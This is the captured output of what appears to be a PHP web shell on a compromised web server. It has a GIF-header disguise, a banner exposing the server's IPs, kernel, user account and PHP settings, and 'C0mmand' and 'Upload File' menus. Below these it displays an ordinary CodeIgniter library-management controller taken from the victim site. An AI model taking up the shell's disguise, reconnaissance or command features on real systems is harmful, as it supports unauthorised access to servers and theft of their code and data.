GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.129.45.144
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/pdf/../../cas/application/helpers/../controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/pdf/../../cas/application/helpers/../controllers/admin/Library.php
<?php

/**
 * Controller class for handling all requests related to library issue/returns.
 *
 * @author Softpro India Pvt. Ltd.
 */
class Library extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model("admin/LibraryManagement");
        $this->load->model("admin/RoleManagement");
        $this->load->model("admin/StaffManagement");
        $this->load->model("admin/StudentManagement");
        $this->load->model("admin/FeeManagement");
        $this->load->model("admin/SessionManagement");
        $this->load->model('admin/DepartmentManagement');
    }

    public function issueBooks() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $employeeInfo = array();
            $stuInfo = array();
            $canIssueBooks = false;
            $alreadyIssueBooksList = array();
            $noOfBooksMoreCanBeIssued = 0;
            $libConfigurationForUser = array();
            if (isset($_POST['filterSubmitBtn'])) {
                $session = $this->input->post('session');
                $issuedTo = $this->input->post('issuedTo');
                if ($issuedTo == "S") {
                    $this->form_validation->set_rules('rollNumber', 'Student Roll Number', 'trim|required', array('required' => 'Enter Student Roll Number.'));
                    if ($this->form_validation->run() == FALSE) {
                        $this->session->set_flashdata('errorMessage', validation_errors());
                        $this->session->set_flashdata('selectedIssuedTo', $issuedTo);
                        redirect('admin/Library/issueBooks');
                    } else {
                        $formEnrlRollNo = $this->input->post('rollNumber');
                        $studentData = $this->StudentManagement->getStudentInfoByFormEnrollmentOrRollNo($formEnrlRollNo, "CE")->result();
                        if (sizeof($studentData)) {
                            $student_info = $studentData[0];
                            $studentFatherName = $this->StudentManagement->getStudentFatherInfoBy($student_info->tspi_id)->result()[0]->tfbi_name;
                            $studentCurrentSemesterInfo = $this->StudentManagement->getStudentCurrentSectionSemesterInfoBy($student_info->tspi_id)->result();
                            $gender = "";
                            $studentCurrentSemesterOrYear = "";
                            $semesterOrYearToShow = "";
                            $entryType = stripslashes($student_info->tcsm_course_type);
                            if ($student_info->tspi_gender == "M") {
                                $gender = "<i class='fa fa-male'></i>|Male";
                            } else if ($student_info->tspi_gender == "F") {
                                $gender = "<i class='fa fa-female'></i>|Female";
                            } else {
                                $gender = "<i class='fa fa-transgender'></i>|Transgender";
                            }
                            if (sizeof($studentCurrentSemesterInfo)) {
                                $studentCurrentSemesterOrYear = $studentCurrentSemesterInfo[0]->tsssi_semester;
                                $semesterOrYearToShow = $studentCurrentSemesterOrYear;
                                $paidFeeInfo = $this->FeeManagement->getAllPaidFeeDetailsBy($student_info->tspi_id)->result();
                                if (sizeof($paidFeeInfo) == 0) {
                                    $isFirstPayment = TRUE;
                                    if ($entryType == "Lateral Entry") {
                                        $studentCurrentSemesterOrYear = 3;
                                    } else {
                                        $studentCurrentSemesterOrYear = 1;
                                    }
                                } else {
                                    $studentCurrentSemesterOrYear = $paidFeeInfo[0]->fcm_semester;
                                }
                            } else {
                                $studentCurrentSemesterOrYear = $student_info->tcsm_sem_start_from;
                                $semesterOrYearToShow = "New Admission";
                                $paidFeeInfo = $this->FeeManagement->getPaidFeeDetailsBy($student_info->tspi_id, $studentCurrentSemesterOrYear)->result();
                                if (!sizeof($paidFeeInfo)) {
                                    $isFirstPayment = TRUE;
                                }
                            }
                            $stuInfo = array(
                                'stu_id' => $student_info->tspi_id,
                                'stu_name' => stripslashes($student_info->tspi_name),
                                'stu_father_name' => stripslashes($studentFatherName),
                                'stu_gender' => $gender,
                                'stu_form_no' => stripslashes($student_info->tspi_form_no),
                                'stu_roll_no' => ($student_info->tspi_form_no == $student_info->tspi_rollNumber) ? "-" : stripslashes($student_info->tspi_rollNumber),
                                'stu_enrollment_no' => ($student_info->tspi_form_no == $student_info->tspi_enrollment_no) ? "-" : stripslashes($student_info->tspi_enrollment_no),
                                'stu_dob' => date('d-m-Y', strtotime($student_info->tspi_dob)),
                                'stu_course' => stripslashes($student_info->course_name),
                                'stu_entry_type' => $entryType,
                                'stu_session' => stripslashes($student_info->session_name),
                                'stu_batch' => explode('-', $student_info->session_name)[0] . "-" . $student_info->session_end_year,
                                'stu_photograph' => base_url("assets/admin/uploads/studentData/") . $student_info->studentPhoto,
                                'stu_sign' => base_url("assets/admin/uploads/studentData/") . $student_info->studentSign,
                                'stu_sch_eligible' => ($student_info->tspi_scholarship_eligible == "T") ? "Yes (" . $student_info->tspi_scholarship_percentage . "%)" : "Not Eligible",
                                'stu_current_semester' => $semesterOrYearToShow,
                                'stu_course_category' => $student_info->course_category
                            );
                            $alreadyIssueBooksList = $this->LibraryManagement->getActiveIssuedBooksListToStudent($student_info->tspi_id)->result();
                            $libConfigurationForUser = $this->LibraryManagement->getIssueSetupsInfoBySessionAndUserType($session, ($student_info->course_category == "PG") ? "P" : "U")->result(); //P->PG; U->UG
                            if (sizeof($libConfigurationForUser)) {
                                if (sizeof($alreadyIssueBooksList) < $libConfigurationForUser[0]->lism_max_copy_allowed) {
                                    $canIssueBooks = true;
                                }
                                $noOfBooksMoreCanBeIssued = $libConfigurationForUser[0]->lism_max_copy_allowed - sizeof($alreadyIssueBooksList);
                            } else {
                                $this->session->set_flashdata('errorMessage', "Library Setup Is Missing For Students. Try Again");
                                redirect('admin/Library/issueBooks');
                            }
                        }
                    }
                } else {
                    $this->form_validation->set_rules('employee', 'Employee', 'trim|required', array('required' => 'Select Employee.'));
                    if ($this->form_validation->run() == FALSE) {
                        $this->session->set_flashdata('errorMessage', validation_errors());
                        $this->session->set_flashdata('selectedIssuedTo', $issuedTo);
                        redirect('admin/Library/issueBooks');
                    } else {
                        $selectedEmployee = $this->input->post('employee');
                        $employeeInfo = $this->StaffManagement->getEmployeeInfoBy($selectedEmployee)->result();
                        $libConfigurationForUser = $this->LibraryManagement->getIssueSetupsInfoBySessionAndUserType($session, "S")->result(); //S->Staff
                        $alreadyIssueBooksList = $this->LibraryManagement->getActiveIssuedBooksListToStaff($employeeInfo[0]->smember_id)->result();
                        if (sizeof($libConfigurationForUser)) {
                            if (sizeof($alreadyIssueBooksList) < $libConfigurationForUser[0]->lism_max_copy_allowed) {
                                $canIssueBooks = true;
                            }
                            $noOfBooksMoreCanBeIssued = $libConfigurationForUser[0]->lism_max_copy_allowed - sizeof($alreadyIssueBooksList);
                        } else {
                            $this->session->set_flashdata('errorMessage', "Library Setup Is Missing For Staff. Try Again");
                            redirect('admin/Library/issueBooks');
                        }
                    }
                }
            }
            $viewData["libConfigurationForUser"] = $libConfigurationForUser;
            $viewData['alreadyIssuedBookList'] = $alreadyIssueBooksList;
            $viewData['canIssueBooks'] = $canIssueBooks;
            $viewData['noOfBooksMoreCanBeIssued'] = $noOfBooksMoreCanBeIssued;
            $viewData['allSessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["studentInfo"] = $stuInfo;
            $viewData['empInfo'] = $employeeInfo;
            $viewData['roles'] = $this->RoleManagement->getNonDeletedRoles()->result();
            $this->load->view('admin/library/issueBooks', $viewData);
        } else {
            redirect("admin/");
        }
    }

    function getBookList() {
        $searchKeyword = $this->input->post('searchKeywords');
        $issuerID = $this->input->post('issuerID');
        $viewdata["books"] = $this->LibraryManagement->getNonIssuedBooksMagazinesJournals($searchKeyword, $issuerID)->result();
        $booktable = $this->load->view("admin/library/book_list", $viewdata, true);
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'bookTable' => $booktable
        );
        echo json_encode($responseData);
    }

    function getIssuedBookList() {
        $issuerID = $this->input->post('issuerID');
        $course_category = $this->input->post('course_category');
        $issued_to = $this->input->post('issued_to');
        $session = $this->input->post('session_id');
        $canIssueBooks = false;
        $noOfBooksMoreCanBeIssued = 0;
        $maxNoOfBooksCanBeIssued = 0;
        if ($issued_to == "S") {
            $viewdata["books"] = $this->LibraryManagement->getActiveIssuedBooksListToStudent($issuerID)->result();
            $libConfigurationForUser = $this->LibraryManagement->getIssueSetupsInfoBySessionAndUserType($session, ($course_category == "PG") ? "P" : "U")->result(); //P->PG; U->UG
            $noOfBooksMoreCanBeIssued = $libConfigurationForUser[0]->lism_max_copy_allowed - sizeof($viewdata["books"]);
            if ($noOfBooksMoreCanBeIssued == 0) {
                $message = "<span style='color:red;'>No More  Books/Magazines/Journals & Library Copies Can Be Issued!</span>";
                $canIssueBooks = false;
            } else {
                $message = "<span style='color:green'>'$noOfBooksMoreCanBeIssued' More  Books/Magazines/Journals & Library Copies Can Be Issued.</span>";
                $canIssueBooks = true;
            }
            $maxNoOfBooksCanBeIssued = $libConfigurationForUser[0]->lism_max_copy_allowed;
        } else {
            $viewdata["books"] = $this->LibraryManagement->getActiveIssuedBooksListToStaff($issuerID)->result();
            $libConfigurationForUser = $this->LibraryManagement->getIssueSetupsInfoBySessionAndUserType($session, "S")->result(); //P->PG; U->UG
            $noOfBooksMoreCanBeIssued = $libConfigurationForUser[0]->lism_max_copy_allowed - sizeof($viewdata["books"]);
            if ($noOfBooksMoreCanBeIssued == 0) {
                $message = "<span style='color:red;'>No More  Books/Magazines/Journals & Library Copies Can Be Issued!</span>";
                $canIssueBooks = false;
            } else {
                $message = "<span style='color:green'>'$noOfBooksMoreCanBeIssued' More  Books/Magazines/Journals & Library Copies Can Be Issued.</span>";
                $canIssueBooks = true;
            }
            $maxNoOfBooksCanBeIssued = $libConfigurationForUser[0]->lism_max_copy_allowed;
        }

        $issuedBooktable = $this->load->view("admin/library/issued_book_list", $viewdata, true);
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'issuedBookTable' => $issuedBooktable,
            'message' => $message,
            'canIssueBooks' => $canIssueBooks,
            'maxNoOfBooksCanBeIssued' => $maxNoOfBooksCanBeIssued,
            'noOfBookAlreadyIssued' => sizeof($viewdata["books"])
        );
        echo json_encode($responseData);
    }

    function saveBookAllotmentToIssuer() {
        $book_id = $this->input->post('book_id');
        $issuerID = $this->input->post('issuerID');
        $issued_to = $this->input->post('issued_to');
        $session_id = $this->input->post('session_id');
        $allowed_days = $this->input->post('allowed_days');
        $bookIssueDetails = array(
            'lbmjm_id' => $book_id,
            'lirm_issued_to' => $issuerID,
            'lirm_issued_to_flag' => $issued_to,
            'lirm_return_flag' => 'I',
            'lirm_issued_on' => date("Y-m-d"),
            'lirm_issued_by' => $this->session->userdata("adminData")["smember_id"],
            'lirm_session_id' => $session_id,
            'lirm_allowed_days' => $allowed_days
        );
        $status = 0;
        $message = "";
        if (sizeof($this->LibraryManagement->checkIfBookIsAlreadyAlloted($book_id, $issuerID, $issued_to)->result())) {
            $status = 0;
            $message = "Book Is Already Issued.";
        } else {
            if ($this->LibraryManagement->saveBookIssueDetails($bookIssueDetails)) {
                $status = 1;
                $message = "Book Issued Suucessfully.";
            } else {
                $status = 0;
                $message = "Failed To Issue Book. Something Went Wrong.";
            }
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'status' => $status,
            'message' => $message
        );
        echo json_encode($responseData);
    }

    public function returnBooks() {
        if ($this->sessionvalidator->isLoggedIn() ) {
            $employeeInfo = array();
            $stuInfo = array();
            $canIssueBooks = false;
            $alreadyIssueBooksList = array();
            $noOfBooksMoreCanBeIssued = 0;
            $libConfigurationForUser = array();
            $alreadIssuedbooksArray = array();
            if (isset($_POST['filterSubmitBtn'])) {
                $session = $this->input->post('session');
                $issuedTo = $this->input->post('issuedTo');
                if ($issuedTo == "S") {
                    $this->form_validation->set_rules('rollNumber', 'Student Roll Number', 'trim|required', array('required' => 'Enter Student Roll Number.'));
                    if ($this->form_validation->run() == FALSE) {
                        $this->session->set_flashdata('errorMessage', validation_errors());
                        $this->session->set_flashdata('selectedIssuedTo', $issuedTo);
                        redirect('admin/Library/returnBooks');
                    } else {
                        $formEnrlRollNo = $this->input->post('rollNumber');
                        $studentData = $this->StudentManagement->getStudentInfoByFormEnrollmentOrRollNo($formEnrlRollNo, "CE")->result();
                        if (sizeof($studentData)) {
                            $student_info = $studentData[0];
                            $studentFatherName = $this->StudentManagement->getStudentFatherInfoBy($student_info->tspi_id)->result()[0]->tfbi_name;
                            $studentCurrentSemesterInfo = $this->StudentManagement->getStudentCurrentSectionSemesterInfoBy($student_info->tspi_id)->result();
                            $gender = "";
                            $studentCurrentSemesterOrYear = "";
                            $semesterOrYearToShow = "";
                            $entryType = stripslashes($student_info->tcsm_course_type);
                            if ($student_info->tspi_gender == "M") {
                                $gender = "<i class='fa fa-male'></i>|Male";
                            } else if ($student_info->tspi_gender == "F") {
                                $gender = "<i class='fa fa-female'></i>|Female";
                            } else {
                                $gender = "<i class='fa fa-transgender'></i>|Transgender";
                            }
                            if (sizeof($studentCurrentSemesterInfo)) {
                                $studentCurrentSemesterOrYear = $studentCurrentSemesterInfo[0]->tsssi_semester;
                                $semesterOrYearToShow = $studentCurrentSemesterOrYear;
                                $paidFeeInfo = $this->FeeManagement->getAllPaidFeeDetailsBy($student_info->tspi_id)->result();
                                if (sizeof($paidFeeInfo) == 0) {
                                    $isFirstPayment = TRUE;
                                    if ($entryType == "Lateral Entry") {
                                        $studentCurrentSemesterOrYear = 3;
                                    } else {
                                        $studentCurrentSemesterOrYear = 1;
                                    }
                                } else {
                                    $studentCurrentSemesterOrYear = $paidFeeInfo[0]->fcm_semester;
                                }
                            } else {
                                $studentCurrentSemesterOrYear = $student_info->tcsm_sem_start_from;
                                $semesterOrYearToShow = "New Admission";
                                $paidFeeInfo = $this->FeeManagement->getPaidFeeDetailsBy($student_info->tspi_id, $studentCurrentSemesterOrYear)->result();
                                if (!sizeof($paidFeeInfo)) {
                                    $isFirstPayment = TRUE;
                                }
                            }
                            $stuInfo = array(
                                'stu_id' => $student_info->tspi_id,
                                'stu_name' => stripslashes($student_info->tspi_name),
                                'stu_father_name' => stripslashes($studentFatherName),
                                'stu_gender' => $gender,
                                'stu_form_no' => stripslashes($student_info->tspi_form_no),
                                'stu_roll_no' => ($student_info->tspi_form_no == $student_info->tspi_rollNumber) ? "-" : stripslashes($student_info->tspi_rollNumber),
                                'stu_enrollment_no' => ($student_info->tspi_form_no == $student_info->tspi_enrollment_no) ? "-" : stripslashes($student_info->tspi_enrollment_no),
                                'stu_dob' => date('d-m-Y', strtotime($student_info->tspi_dob)),
                                'stu_course' => stripslashes($student_info->course_name),
                                'stu_entry_type' => $entryType,
                                'stu_session' => stripslashes($student_info->session_name),
                                'stu_batch' => explode('-', $student_info->session_name)[0] . "-" . $student_info->session_end_year,
                                'stu_photograph' => base_url("assets/admin/uploads/studentData/") . $student_info->studentPhoto,
                                'stu_sign' => base_url("assets/admin/uploads/studentData/") . $student_info->studentSign,
                                'stu_sch_eligible' => ($student_info->tspi_scholarship_eligible == "T") ? "Yes (" . $student_info->tspi_scholarship_percentage . "%)" : "Not Eligible",
                                'stu_current_semester' => $semesterOrYearToShow,
                                'stu_course_category' => $student_info->course_category
                            );
                            $alreadyIssueBooksList = $this->LibraryManagement->getActiveIssuedBooksListToStudent($student_info->tspi_id)->result();
                            $libConfigurationForUser = $this->LibraryManagement->getIssueSetupsInfoBySessionAndUserType($session, ($student_info->course_category == "PG") ? "P" : "U")->result(); //P->PG; U->UG
                            if (sizeof($alreadyIssueBooksList)) {
                                for ($i = 0; $i < sizeof($alreadyIssueBooksList); $i++) {
                                    $record = $alreadyIssueBooksList[$i];
                                    $issued_on = strtotime($record->lirm_issued_on);
                                    $cur_date = strtotime(date("Y-m-d"));
                                    $interval_days = ($cur_date - $issued_on) / 86400;
                                    $extra_days = $interval_days - $libConfigurationForUser[0]->lism_max_allowed_day;
                                    array_push($alreadIssuedbooksArray, array(
                                        'lirm_id' => $record->lirm_id,
                                        'book_category' => $record->lpcm_short_name,
                                        'ISBNNo' => $record->lbmjm_isbn_issn_no,
                                        'book_title' => $record->lbmjm_title,
                                        'book_author' => $record->lbmjm_authors,
                                        'session' => $record->session_name,
                                        'book_publication_year' => $record->lbmjm_publication_year,
                                        'book_issued_by' => $record->issuedBy,
                                        'extra_days' => ($extra_days < 0) ? "0" : $extra_days
                                    ));
                                }
                            }

                            if (sizeof($libConfigurationForUser)) {
                                if (sizeof($alreadyIssueBooksList) < $libConfigurationForUser[0]->lism_max_copy_allowed) {
                                    $canIssueBooks = true;
                                }
                                $noOfBooksMoreCanBeIssued = $libConfigurationForUser[0]->lism_max_copy_allowed - sizeof($alreadyIssueBooksList);
                            } else {
                                $this->session->set_flashdata('errorMessage', "Library Setup Is Missing For Students. Try Again");
                                redirect('admin/Library/issueBooks');
                            }
                        }
                    }
                } else {
                    $this->form_validation->set_rules('employee', 'Employee', 'trim|required', array('required' => 'Select Employee.'));
                    if ($this->form_validation->run() == FALSE) {
                        $this->session->set_flashdata('errorMessage', validation_errors());
                        $this->session->set_flashdata('selectedIssuedTo', $issuedTo);
                        redirect('admin/Library/returnBooks');
                    } else {
                        $selectedEmployee = $this->input->post('employee');
                        $employeeInfo = $this->StaffManagement->getEmployeeInfoBy($selectedEmployee)->result();
                        $libConfigurationForUser = $this->LibraryManagement->getIssueSetupsInfoBySessionAndUserType($session, "S")->result(); //S->Staff
                        $alreadyIssueBooksList = $this->LibraryManagement->getActiveIssuedBooksListToStaff($employeeInfo[0]->smember_id)->result();
                        if (sizeof($alreadyIssueBooksList)) {
                            for ($i = 0; $i < sizeof($alreadyIssueBooksList); $i++) {
                                $record = $alreadyIssueBooksList[$i];
                                $issued_on = strtotime($record->lirm_issued_on);
                                $cur_date = strtotime(date("Y-m-d"));
                                $interval_days = ($cur_date - $issued_on) / 86400;
                                $extra_days = $interval_days - $libConfigurationForUser[0]->lism_max_allowed_day;
                                array_push($alreadIssuedbooksArray, array(
                                    'lirm_id' => $record->lirm_id,
                                    'book_category' => $record->lpcm_short_name,
                                    'ISBNNo' => $record->lbmjm_isbn_issn_no,
                                    'book_title' => $record->lbmjm_title,
                                    'book_author' => $record->lbmjm_authors,
                                    'session' => $record->session_name,
                                    'book_publication_year' => $record->lbmjm_publication_year,
                                    'book_issued_by' => $record->issuedBy,
                                    'extra_days' => ($extra_days < 0) ? "0" : $extra_days
                                ));
                            }
                        }
                        if (sizeof($libConfigurationForUser)) {
                            if (sizeof($alreadyIssueBooksList) < $libConfigurationForUser[0]->lism_max_copy_allowed) {
                                $canIssueBooks = true;
                            }
                            $noOfBooksMoreCanBeIssued = $libConfigurationForUser[0]->lism_max_copy_allowed - sizeof($alreadyIssueBooksList);
                        } else {
                            $this->session->set_flashdata('errorMessage', "Library Setup Is Missing For Staff. Try Again");
                            redirect('admin/Library/issueBooks');
                        }
                    }
                }
            }
            $viewData["libConfigurationForUser"] = $libConfigurationForUser;
            $viewData['alreadyIssuedBookList'] = $alreadIssuedbooksArray;
            $viewData['alreadyIssuedBookJSONList'] = json_encode($alreadIssuedbooksArray);
            $viewData['canIssueBooks'] = $canIssueBooks;
            $viewData['noOfBooksMoreCanBeIssued'] = $noOfBooksMoreCanBeIssued;
            $viewData['allSessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["studentInfo"] = $stuInfo;
            $viewData['empInfo'] = $employeeInfo;
            $viewData['roles'] = $this->RoleManagement->getNonDeletedRoles()->result();
            $this->load->view('admin/library/returnBooks', $viewData);
        } else {
            redirect("admin/");
        }
    }

    function saveReturnedBookDetails() {
        $returnDetails = $this->input->post('returnDetails');
        for ($i = 0; $i < sizeof($returnDetails); $i++) {
            $record = $returnDetails[$i];
            $record["lirm_returned_collected_by"] = $this->session->userdata("adminData")["smember_id"];
        }
        $status = 1;
        $message = "Book Returned Suucessfully.";
        $this->db->trans_start();
        $this->LibraryManagement->updateIssueReturn($returnDetails);
        $this->db->trans_complete();
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'status' => $status,
            'message' => $message
        );
        echo json_encode($responseData);
    }

    function getRefreshedIssuedBookListForAfterReturnUpdated() {
        $issuerID = $this->input->post('issuerID');
        $course_category = $this->input->post('course_category');
        $session = $this->input->post('session_id');
        $alreadIssuedbooksArray = array();
        $alreadyIssueBooksList = $this->LibraryManagement->getActiveIssuedBooksListToStudent($issuerID)->result();
        $libConfigurationForUser = $this->LibraryManagement->getIssueSetupsInfoBySessionAndUserType($session, ($course_category == "PG") ? "P" : "U")->result(); //P->PG; U->UG
        if (sizeof($alreadyIssueBooksList)) {
            for ($i = 0; $i < sizeof($alreadyIssueBooksList); $i++) {
                $record = $alreadyIssueBooksList[$i];
                $issued_on = strtotime($record->lirm_issued_on);
                $cur_date = strtotime(date("Y-m-d"));
                $interval_days = ($cur_date - $issued_on) / 86400;
                $extra_days = $interval_days - $libConfigurationForUser[0]->lism_max_allowed_day;
                array_push($alreadIssuedbooksArray, array(
                    'lirm_id' => $record->lirm_id,
                    'book_category' => $record->lpcm_short_name,
                    'ISBNNo' => $record->lbmjm_isbn_issn_no,
                    'book_title' => $record->lbmjm_title,
                    'book_author' => $record->lbmjm_authors,
                    'session' => $record->session_name,
                    'book_publication_year' => $record->lbmjm_publication_year,
                    'book_issued_by' => $record->issuedBy,
                    'extra_days' => ($extra_days < 0) ? "0" : $extra_days
                ));
            }
        }
        $maxNoOfBooksCanBeIssued = $libConfigurationForUser[0]->lism_max_copy_allowed;
        $viewData["books"] = $alreadIssuedbooksArray;

        $issuedBooktable = $this->load->view("admin/library/refreshed_issued_book_list", $viewData, true);
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'issuedBookTable' => $issuedBooktable,
            'message' => "Data Refreshed.",
            'maxNoOfBooksCanBeIssued' => $maxNoOfBooksCanBeIssued,
            'noOfBookAlreadyIssued' => sizeof($viewData["books"])
        );
        echo json_encode($responseData);
    }

    public function issueReturnReport() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $selectedSubDepartment = "";
            $filteredRecords = array();
            $issueReturnBookList = array();
            if (isset($_POST['filterSubmitBtn'])) {
                $searchKeyword = addslashes(trim($this->input->post("searchKeyWord")));
                $selectedSession = trim($this->input->post("session"));
                $selectedPublicationType = trim($this->input->post("publicationType"));
                $selectedDepartment = trim($this->input->post("department"));
                $selectedSubDepartment = trim($this->input->post("subDepartment"));
                $selectedStartDate = (trim($this->input->post("startDate")) == "") ? "" : date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("startDate")))));
                $selectedEndDate = (trim($this->input->post("endDate")) == "") ? "" : date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("endDate")))));
                $selectedRangeAppliedWith = trim($this->input->post("dateRangeAppliedWith"));
                $filteredRecords = $this->LibraryManagement->getNonIssuedBooksMagazinesJournals($searchKeyword, '', $selectedSession, $selectedPublicationType, $selectedDepartment, $selectedSubDepartment, $selectedStartDate, $selectedEndDate, $selectedRangeAppliedWith)->result();
                if (sizeof($filteredRecords)) {
                    for ($i = 0; $i < sizeof($filteredRecords); $i++) {
                        $record = $filteredRecords[$i];
                        $issuedTo = '';
                        if ($record->lirm_issued_to_flag == "S") {
                            $issuedTo = $this->StudentManagement->getStudentPersonalInfoAndPhotoSignBy($record->lirm_issued_to)->result()[0]->tspi_name;
                        } else {
                            $issuedTo = $this->StudentManagement->getStudentPersonalInfoAndPhotoSignBy($record->lirm_issued_to)->result()[0]->tspi_name;
                        }
                        array_push($issueReturnBookList, array(
                            'lirm_id' => $record->lirm_id,
                            'book_category' => $record->lpcm_short_name,
                            'ISBNNo' => $record->lbmjm_isbn_issn_no,
                            'book_title' => $record->lbmjm_title,
                            'book_author' => $record->lbmjm_authors,
                            'session' => $record->session_name,
                            'book_publication_year' => $record->lbmjm_publication_year,
                            'book_publisher_name' => $record->lbmjm_publisher_name,
                            'book_place' => $record->lbmjm_place,
                            'book_issued_by' => $record->issuedBy,
                            'issuedTo' => $issuedTo,
                            'issuedToType' => $record->lirm_issued_to_flag,
                            'book_status' => ($record->lirm_return_flag == "I") ? "Issued" : "Returned",
                            'issued_on' => date('d-m-Y', strtotime($record->lirm_issued_on)),
                            'returned_on' => ($record->lirm_returned_on == "" || $record->lirm_returned_on == null )? "-N/A-" : date('d-m-Y', strtotime($record->lirm_returned_on))
                        ));
                    }
                }
            }
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['publicationCategories'] = $this->LibraryManagement->getNonDeletedActivePublicationCategories()->result();
            $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result();
            $viewData['selectedSubDepartment'] = $selectedSubDepartment;
            $viewData['filteredRecords'] = $filteredRecords;
            $viewData["issueReturnBookList"] = $issueReturnBookList;
            $this->load->view('admin/library/issueReturnReport', $viewData);
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023